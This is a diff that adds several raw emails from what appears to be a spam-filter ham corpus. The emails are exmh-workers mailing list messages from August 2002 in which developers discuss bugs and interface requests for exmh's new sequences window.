Wed, 21 Aug 2002 15:01:07 +0700 +> +> Date: Tue, 20 Aug 2002 22:51:52 -0400 +> From: Valdis.Kletnieks@vt.edu +> Message-ID: <200208210251.g7L2pqKb001805@turing-police.cc.vt.edu> +> +> | Ever tried to get MH to *not* have a 'pseq' sequence? +> +> Hmm - I've been using MH for a long time (since well before there were +> sequences) and I don't think I've ever seen a "pseq" ... +> +> I'm guessing that that's the sequence that you have "pick" create +> As I recall it, it has no default sequence name, so the sequence names +> that people use will tend to vary from person to person won't they +> (except as MH configurations move around institutions by osmosis). +> +> I've always used "sel" for that purpose. +> +> I kind of doubt that any pre built-in sequence name is going to be +> very general. Even "unseen" can be changed (fortunately that one +> is easy to find in the MH profile - though whether exmh does that, +> os just uses "unseen" I haven't bothered to find out). + +I've never seen pseq either. + +BTW, it's kinda amusing for a short while to show the cur sequence. Watching +that helped me find a number of bugs. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_-196335410P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9Y676K9b4h5R0IUIRAt/rAJ9huaTFeBLHluu/vhFc1GWy3X+YywCgh0XF +o7+XfPSIQbz9hkFFBMTYd1k= +=969s +-----END PGP SIGNATURE----- + +--==_Exmh_-196335410P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00004.b2ed6c3c62bbdfab7683d60e214d1445 b/bayes/spamham/easy_ham_2/00004.b2ed6c3c62bbdfab7683d60e214d1445 new file mode 100644 index 0000000..ec6339a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00004.b2ed6c3c62bbdfab7683d60e214d1445 @@ -0,0 +1,302 @@ +From exmh-workers-admin@redhat.com Wed Aug 21 16:18:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7725443C36 + for ; Wed, 21 Aug 2002 11:18:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 16:18:37 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LFK4Z30918 for + ; Wed, 21 Aug 2002 16:20:04 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id E0F013F29A; Wed, 21 Aug 2002 + 11:20:12 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 194303F5BC + for ; Wed, 21 Aug 2002 11:17:52 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7LFHnr23317 for exmh-workers@listman.redhat.com; Wed, 21 Aug 2002 + 11:17:49 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7LFHnY23313 for + ; Wed, 21 Aug 2002 11:17:49 -0400 +Received: from austin-jump.vircio.com + (IDENT:6DmfTyPY+Nt8iKpB7G5XkbCz4RFR4kgz@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g7LF3Ql24555 + for ; Wed, 21 Aug 2002 11:03:26 -0400 +Received: (qmail 27481 invoked by uid 104); 21 Aug 2002 15:17:48 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4218. . Clean. Processed in 0.419006 + secs); 21/08/2002 10:17:47 +Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 21 Aug 2002 15:17:47 -0000 +Received: (qmail 26932 invoked from network); 21 Aug 2002 15:17:46 -0000 +Received: from localhost (HELO deepeddy.vircio.com) ([127.0.0.1]) + (envelope-sender ) by localhost (qmail-ldap-1.03) + with SMTP for ; 21 Aug 2002 15:17:46 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Robert Elz +Cc: exmh-workers@spamassassin.taint.org +Subject: Re: New Sequences Window +In-Reply-To: <9627.1029933001@munnari.OZ.AU> +References: <1029882468.3116.TMDA@deepeddy.vircio.com> + <9627.1029933001@munnari.OZ.AU> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_-195849857P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1029943066.26919.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 10:17:45 -0500 + +--==_Exmh_-195849857P +Content-Type: text/plain; charset=us-ascii + +Ouch...I'll get right on it. + +> From: Robert Elz +> Date: Wed, 21 Aug 2002 19:30:01 +0700 +> +> Date: Tue, 20 Aug 2002 17:27:47 -0500 +> From: Chris Garrigues +> Message-ID: <1029882468.3116.TMDA@deepeddy.vircio.com> +> +> +> | I'm hoping that all people with no additional sequences will notice are +> | purely cosmetic changes. +> +> Well, first, when exmh (the latest one with your changes) starts, I get... +> +> can't read "flist(totalcount,unseen)": no such element in array +> while executing +> "if {$flist(totalcount,$mhProfile(unseen-sequence)) > 0} { +> FlagInner spool iconspool labelup +> } else { +> FlagInner down icondown labeldown +> }" +> (procedure "Flag_MsgSeen" line 3) +> invoked from within +> "Flag_MsgSeen" +> (procedure "MsgSeen" line 8) +> invoked from within +> "MsgSeen $msgid" +> (procedure "MsgShow" line 12) +> invoked from within +> "MsgShow $msgid" +> (procedure "MsgChange" line 17) +> invoked from within +> "MsgChange 4862 show" +> invoked from within +> "time [list MsgChange $msgid $show" +> (procedure "Msg_Change" line 3) +> invoked from within +> "Msg_Change $msg(id) $show" +> (procedure "Msg_Show" line 7) +> invoked from within +> "Msg_Show cur" +> ("eval" body line 1) +> invoked from within +> "eval $msgShowProc" +> (procedure "FolderChange" line 55) +> invoked from within +> "FolderChange inbox {Msg_Show cur}" +> invoked from within +> "time [list FolderChange $folder $msgShowProc" +> (procedure "Folder_Change" line 3) +> invoked from within +> "Folder_Change $exmh(folder)" +> (procedure "Exmh" line 101) +> invoked from within +> "Exmh" +> ("after" script) +> +> which is probably related to my not having an "unseen" sequence anywhere +> (certainly not in inbox) - I read all of my outstanding mail before I +> tried this new exmh ... +> +> Second, I've been used to having a key binding which was to Msg_MarkUnseen +> which doesn't seem to exist any more, and I'm not sure what I should replac +> e +> that with. There's obviously a way as the "Sequences" menu does this. +> The "Mark Unseen" menu entry in the message "More" menu is still wanting +> that function as well... +> +> | For those who have other sequences defined, the window will widen to +> | display the other sequences. +> +> Any chance of having that lengthen instead? I like all my exmh stuff +> in nice columns (fits the display better). That is, I use the detached +> folder list, one column. The main exmh window takes up full screen, +> top to bottom, but less than half the width, etc... +> +> I have space for more sequences, in the "unseen" window, as long as they +> remain once nice narrow window (best would be if the sequences could be +> ordered by some preference, then ones which didn't fit would just fall +> off the bottom, and not be shown). +> +> I'd also prefer it if that window had no unusual background colouring, +> just one constant colour - I have been running the unseen window with +> background black, on a root window that is all black, with no borders or +> other decorations, but made "sticky" - the appearance is just like the +> folders with unseen messages (and their counts) are written into the +> root window (because it is sticky, this small display follows me around +> and do I can see when new mail needs processing). +> +> I also find that I tend to have a bunch of sequences that only ever occur +> in one folder (some I had forgotten I ever created). So in addition to +> the "sequences to always show" and "sequences to never show", a +> preference to only show sequences that occur in more than one folder +> would be useful, and then have the sequences that occor only in the +> folder I'm visiting appear in the list when that folder is current. +> This is just to keep the list size somewhat manageable while remaining +> productive (I quite often use a sequence to remember a particular message +> in a folder - the name is used only there, and only for one message, +> it gives me a handle on the message which remains as the folder is +> packed, sorted, etc). +> +> I haven't updated my exmh for some time now, so I'm not sure if this +> next one is new, or just new since 2.5, but the Sequences menu (on the +> bar with New Flist Search ...) only contains "unseen" and "urgent". +> It would be useful if it contained all of the sequences that the folder +> happens to have defined. A "New sequence" entry would also be useful +> (to mark the message with a sequence name that didn't previously exist, +> which can be done now using "Search" and the pick interface, but is +> clumsy that way) +> +> Actually, you once could, now when I try this, entering a sequence name +> in the pick box, and a single message number, or a range N-N in the +> list of messages, and no pick attributes at all, I now get ... +> +> syntax error in expression "int(1+1+(1 hit-1)*(3868-1-2)/(4878-1))" +> while executing +> "expr int($minlineno+1+($msgid-$minmsgid)*($maxlineno-$minlineno-2)/($maxms +> gid-$minmsgid))" +> (procedure "Ftoc_FindMsg" line 46) +> invoked from within +> "Ftoc_FindMsg $msg" +> (procedure "Ftoc_FindMsgs" line 5) +> invoked from within +> "Ftoc_FindMsgs $msgids" +> (procedure "Ftoc_PickMsgs" line 5) +> invoked from within +> "Ftoc_PickMsgs $pick(ids) $pick(addtosel)" +> (procedure "PickInner" line 13) +> invoked from within +> "PickInner {exec pick +inbox -list} {4852 -sequence mercury}" +> ("uplevel" body line 1) +> invoked from within +> "uplevel #0 $cmd" +> (procedure "busyCursorInner" line 8) +> invoked from within +> "busyCursorInner $cmd $widgets" +> (procedure "busyCursorHack" line 32) +> invoked from within +> "busyCursorHack $args" +> ("cursor" arm line 1) +> invoked from within +> "switch $busy(style) { +> icon {busyIcon $args} +> cursorAll {busyCursor $args} +> cursor {busyCursorHack $args} +> default {eval $args} +> }" +> (procedure "busy" line 3) +> invoked from within +> "busy PickInner $cmd $msgs" +> (procedure "Pick_It" line 51) +> invoked from within +> "Pick_It" +> invoked from within +> ".pick.but.pick invoke" +> ("uplevel" body line 1) +> invoked from within +> "uplevel #0 [list $w invoke]" +> (procedure "tkButtonUp" line 7) +> invoked from within +> "tkButtonUp .pick.but.pick +> " +> (command bound to event) +> +> It has been ages since I did this last though. I tried adding a Subject +> to pick on (easy as I know what's in the message...) which made no differen +> ce. +> Looks as if something is now saying "1 hit" when before it didn't, or +> similar. +> +> | I've also changed the ftoc colorization as discussed briefly on the lis +> t a +> | week or so ago. +> +> Any chance of making the current message a little brighter background? +> Just to make it stand out a fraction more than it does (maybe this is +> more apparent to me than many, as I use very small fonts everywhere, +> the background of the ftoc line isn't very wide). +> +> Hope this helps. +> +> kre +> +> +> +> _______________________________________________ +> Exmh-workers mailing list +> Exmh-workers@redhat.com +> https://listman.redhat.com/mailman/listinfo/exmh-workers + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_-195849857P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9Y68ZK9b4h5R0IUIRAniQAJ0Xp6L4Dh32pMeWnpt5C8+lbBuELQCdH1aV +heczndJHLLRNAg3S6FTpDw8= +=coew +-----END PGP SIGNATURE----- + +--==_Exmh_-195849857P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00005.07b9d4aa9e6c596440295a5170111392 b/bayes/spamham/easy_ham_2/00005.07b9d4aa9e6c596440295a5170111392 new file mode 100644 index 0000000..beed400 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00005.07b9d4aa9e6c596440295a5170111392 @@ -0,0 +1,110 @@ +From exmh-workers-admin@redhat.com Wed Aug 21 16:24:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 54F2043C36 + for ; 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Wed, 21 Aug 2002 11:23:03 -0400 +Received: from turing-police.cc.vt.edu (turing-police.cc.vt.edu + [198.82.160.121]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id + g7LF8fl25844 for ; Wed, 21 Aug 2002 11:08:41 + -0400 +Received: from turing-police.cc.vt.edu (localhost [127.0.0.1]) by + turing-police.cc.vt.edu (8.12.5/8.12.5) with ESMTP id g7LFMSs0008315; + Wed, 21 Aug 2002 11:22:28 -0400 +Message-Id: <200208211522.g7LFMSs0008315@turing-police.cc.vt.edu> +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4+dev +To: Robert Elz +Cc: Chris Garrigues , + exmh-workers@redhat.com +Subject: Re: New Sequences Window +In-Reply-To: Your message of + "Wed, 21 Aug 2002 15:01:07 +0700." + <8176.1029916867@munnari.OZ.AU> +From: Valdis.Kletnieks@vt.edu +X-Url: http://black-ice.cc.vt.edu/~valdis/ +X-Face-Viewer: See ftp://cs.indiana.edu/pub/faces/index.html to decode picture +X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( + ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ + <1029882468.3116.TMDA@deepeddy.vircio.com> <8176.1029916867@munnari.OZ.AU> +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_31119591P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 11:22:27 -0400 + +--==_Exmh_31119591P +Content-Type: text/plain; charset=us-ascii + +On Wed, 21 Aug 2002 15:01:07 +0700, Robert Elz said: + +> Hmm - I've been using MH for a long time (since well before there were +> sequences) and I don't think I've ever seen a "pseq" ... + +My bad - I had 'Previous-Sequence: pseq' in my .mh_profile from long ago and +far away. + +-- + Valdis Kletnieks + Computer Systems Senior Engineer + Virginia Tech + + +--==_Exmh_31119591P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.7 (GNU/Linux) +Comment: Exmh version 2.5 07/13/2001 + +iD8DBQE9Y7AzcC3lWbTT17ARAp/tAJ4gYhfoiqyVwy6CpYSsxdmq5//o5gCfWOy/ +7yBnBY65rPE7W6UWhH5aKc4= +=RD0t +-----END PGP SIGNATURE----- + +--==_Exmh_31119591P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00006.654c4ec7c059531accf388a807064363 b/bayes/spamham/easy_ham_2/00006.654c4ec7c059531accf388a807064363 new file mode 100644 index 0000000..8d9117f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00006.654c4ec7c059531accf388a807064363 @@ -0,0 +1,275 @@ +From exmh-workers-admin@redhat.com Wed Aug 21 16:39:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2D9E643C32 + for ; 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Processed in 0.440114 + secs); 21/08/2002 10:40:42 +Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 21 Aug 2002 15:40:42 -0000 +Received: (qmail 411 invoked from network); 21 Aug 2002 15:40:41 -0000 +Received: from localhost (HELO deepeddy.vircio.com) ([127.0.0.1]) + (envelope-sender ) by localhost (qmail-ldap-1.03) + with SMTP for ; 21 Aug 2002 15:40:41 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Robert Elz , exmh-workers@spamassassin.taint.org +Subject: Re: New Sequences Window +In-Reply-To: <1029943066.26919.TMDA@deepeddy.vircio.com> +References: <1029882468.3116.TMDA@deepeddy.vircio.com> + <9627.1029933001@munnari.OZ.AU> + <1029943066.26919.TMDA@deepeddy.vircio.com> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_1141066573P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1029944441.398.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 10:40:39 -0500 + +--==_Exmh_1141066573P +Content-Type: text/plain; charset=us-ascii + +> From: Chris Garrigues +> Date: Wed, 21 Aug 2002 10:17:45 -0500 +> +> Ouch...I'll get right on it. +> +> > From: Robert Elz +> > Date: Wed, 21 Aug 2002 19:30:01 +0700 +> > +> > can't read "flist(totalcount,unseen)": no such element in array +> > while executing +> > "if {$flist(totalcount,$mhProfile(unseen-sequence)) > 0} { +> > FlagInner spool iconspool labelup +> > } else { +> > FlagInner down icondown labeldown +> > }" +> > (procedure "Flag_MsgSeen" line 3) + +Fixed in CVS. + +> > Second, I've been used to having a key binding which was to Msg_MarkUnseen +> > which doesn't seem to exist any more, and I'm not sure what I should replace +> > that with. There's obviously a way as the "Sequences" menu does this. +> > The "Mark Unseen" menu entry in the message "More" menu is still wanting +> > that function as well... + +{Msg_Mark unseen} + +I'm not sure how I missed the need to fix this in app-defaults for "Mark +Unseen". I guess that'll be my next CVS fix. + +> > | For those who have other sequences defined, the window will widen to +> > | display the other sequences. +> > +> > Any chance of having that lengthen instead? I like all my exmh stuff +> > in nice columns (fits the display better). That is, I use the detached +> > folder list, one column. The main exmh window takes up full screen, +> > top to bottom, but less than half the width, etc... + +I thought about that. The first order approximation would be to just add +using pack .... -side top instead of pack ... -side left, however, since their +each a different width, it would look funny. + +> > I have space for more sequences, in the "unseen" window, as long as they +> > remain once nice narrow window (best would be if the sequences could be +> > ordered by some preference, then ones which didn't fit would just fall +> > off the bottom, and not be shown). +> > +> > I'd also prefer it if that window had no unusual background colouring, +> > just one constant colour - I have been running the unseen window with +> > background black, on a root window that is all black, with no borders or +> > other decorations, but made "sticky" - the appearance is just like the +> > folders with unseen messages (and their counts) are written into the +> > root window (because it is sticky, this small display follows me around +> > and do I can see when new mail needs processing). + +The background color in this window is the same as the background +color in the ftoc. + +> > I also find that I tend to have a bunch of sequences that only ever occur +> > in one folder (some I had forgotten I ever created). So in addition to +> > the "sequences to always show" and "sequences to never show", a +> > preference to only show sequences that occur in more than one folder +> > would be useful, and then have the sequences that occor only in the +> > folder I'm visiting appear in the list when that folder is current. +> > This is just to keep the list size somewhat manageable while remaining +> > productive (I quite often use a sequence to remember a particular message +> > in a folder - the name is used only there, and only for one message, +> > it gives me a handle on the message which remains as the folder is +> > packed, sorted, etc). + +hmmm, let me think about it. + +> > I haven't updated my exmh for some time now, so I'm not sure if this +> > next one is new, or just new since 2.5, but the Sequences menu (on the +> > bar with New Flist Search ...) only contains "unseen" and "urgent". +> > It would be useful if it contained all of the sequences that the folder +> > happens to have defined. A "New sequence" entry would also be useful +> > (to mark the message with a sequence name that didn't previously exist, +> > which can be done now using "Search" and the pick interface, but is +> > clumsy that way) + +The only sequences that are defined there are sequences which are defined in +app-defaults-color or ~/exmh/exmh-defaults-color. I've been thinking about +how to dynamically generate highlighting for other sequences, but haven't got +that figured out yet. + +> > Actually, you once could, now when I try this, entering a sequence name +> > in the pick box, and a single message number, or a range N-N in the +> > list of messages, and no pick attributes at all, I now get ... +> > +> > syntax error in expression "int(1+1+(1 hit-1)*(3868-1-2)/(4878-1))" +> > while executing +> > "expr int($minlineno+1+($msgid-$minmsgid)*($maxlineno-$minlineno-2)/($max +> ms +> > gid-$minmsgid))" +> > (procedure "Ftoc_FindMsg" line 46) +> > invoked from within +> > "Ftoc_FindMsg $msg" +> > (procedure "Ftoc_FindMsgs" line 5) +> > invoked from within +> > "Ftoc_FindMsgs $msgids" +> > (procedure "Ftoc_PickMsgs" line 5) +> > invoked from within +> > "Ftoc_PickMsgs $pick(ids) $pick(addtosel)" +> > (procedure "PickInner" line 13) +> > invoked from within +> > "PickInner {exec pick +inbox -list} {4852 -sequence mercury}" +> > ("uplevel" body line 1) +> > invoked from within +> > "uplevel #0 $cmd" +> > (procedure "busyCursorInner" line 8) +> > invoked from within +> > "busyCursorInner $cmd $widgets" +> > (procedure "busyCursorHack" line 32) +> > invoked from within +> > "busyCursorHack $args" +> > ("cursor" arm line 1) +> > invoked from within +> > "switch $busy(style) { +> > icon {busyIcon $args} +> > cursorAll {busyCursor $args} +> > cursor {busyCursorHack $args} +> > default {eval $args} +> > }" +> > (procedure "busy" line 3) +> > invoked from within +> > "busy PickInner $cmd $msgs" +> > (procedure "Pick_It" line 51) +> > invoked from within +> > "Pick_It" +> > invoked from within +> > ".pick.but.pick invoke" +> > ("uplevel" body line 1) +> > invoked from within +> > "uplevel #0 [list $w invoke]" +> > (procedure "tkButtonUp" line 7) +> > invoked from within +> > "tkButtonUp .pick.but.pick +> > " +> > (command bound to event) +> > +> > It has been ages since I did this last though. I tried adding a Subject +> > to pick on (easy as I know what's in the message...) which made no differ +> en +> > ce. +> > Looks as if something is now saying "1 hit" when before it didn't, or +> > similar. + +hmmm, that may or may not be my fault...I'll take a look at it. + +> > | I've also changed the ftoc colorization as discussed briefly on the l +> is +> > t a +> > | week or so ago. +> > +> > Any chance of making the current message a little brighter background? +> > Just to make it stand out a fraction more than it does (maybe this is +> > more apparent to me than many, as I use very small fonts everywhere, +> > the background of the ftoc line isn't very wide). + +I don't see any reason why not. Experiment and let me know what works for you. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_1141066573P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9Y7R3K9b4h5R0IUIRAvJfAJoDZLxM2iVMWeUGj9DG/oZrYYpsMACfZkY3 +m1ILEOc5OmYxICv/ifINPxY= +=3Rdb +-----END PGP SIGNATURE----- + +--==_Exmh_1141066573P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00007.2e086b13730b68a21ee715db145522b9 b/bayes/spamham/easy_ham_2/00007.2e086b13730b68a21ee715db145522b9 new file mode 100644 index 0000000..a936b32 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00007.2e086b13730b68a21ee715db145522b9 @@ -0,0 +1,136 @@ +From exmh-workers-admin@redhat.com Wed Aug 21 16:46:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7B74843C32 + for ; Wed, 21 Aug 2002 11:46:03 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 16:46:03 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LFlwZ32032 for + ; Wed, 21 Aug 2002 16:47:58 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 8ED1C3F0F1; Wed, 21 Aug 2002 + 11:48:01 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id B092B3F09F + for ; Wed, 21 Aug 2002 11:47:39 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7LFlah29920 for exmh-workers@listman.redhat.com; Wed, 21 Aug 2002 + 11:47:36 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7LFlaY29916 for + ; Wed, 21 Aug 2002 11:47:36 -0400 +Received: from austin-jump.vircio.com + (IDENT:0sRmOSixVxcwiN8rBh2qRymktC2BIreP@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g7LFXEl30998 + for ; Wed, 21 Aug 2002 11:33:14 -0400 +Received: (qmail 29729 invoked by uid 104); 21 Aug 2002 15:47:35 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4218. . 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Processed in 0.687936 + secs); 21/08/2002 10:47:35 +Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 21 Aug 2002 15:47:35 -0000 +Received: (qmail 3148 invoked from network); 21 Aug 2002 15:47:34 -0000 +Received: from localhost (HELO deepeddy.vircio.com) ([127.0.0.1]) + (envelope-sender ) by localhost (qmail-ldap-1.03) + with SMTP for ; 21 Aug 2002 15:47:34 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +Cc: Robert Elz , exmh-workers@spamassassin.taint.org +Subject: Re: New Sequences Window +In-Reply-To: <1029944441.398.TMDA@deepeddy.vircio.com> +References: <1029882468.3116.TMDA@deepeddy.vircio.com> + <9627.1029933001@munnari.OZ.AU> + <1029943066.26919.TMDA@deepeddy.vircio.com> + <1029944441.398.TMDA@deepeddy.vircio.com> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_-2080822444P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1029944854.3139.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 10:47:32 -0500 + +--==_Exmh_-2080822444P +Content-Type: text/plain; charset=us-ascii + +> From: Chris Garrigues +> Date: Wed, 21 Aug 2002 10:40:39 -0500 +> +> > From: Chris Garrigues +> > Date: Wed, 21 Aug 2002 10:17:45 -0500 +> > +> > > From: Robert Elz +> > > Date: Wed, 21 Aug 2002 19:30:01 +0700 +> > > +> > > Second, I've been used to having a key binding which was to Msg_MarkUnseen +> > > which doesn't seem to exist any more, and I'm not sure what I should replace +> > > that with. There's obviously a way as the "Sequences" menu does this. +> > > The "Mark Unseen" menu entry in the message "More" menu is still wanting +> > > that function as well... +> +> {Msg_Mark unseen} +> +> I'm not sure how I missed the need to fix this in app-defaults for "Mark +> Unseen". I guess that'll be my next CVS fix. + +Okay, that was easy...fixed in CVS. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_-2080822444P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + 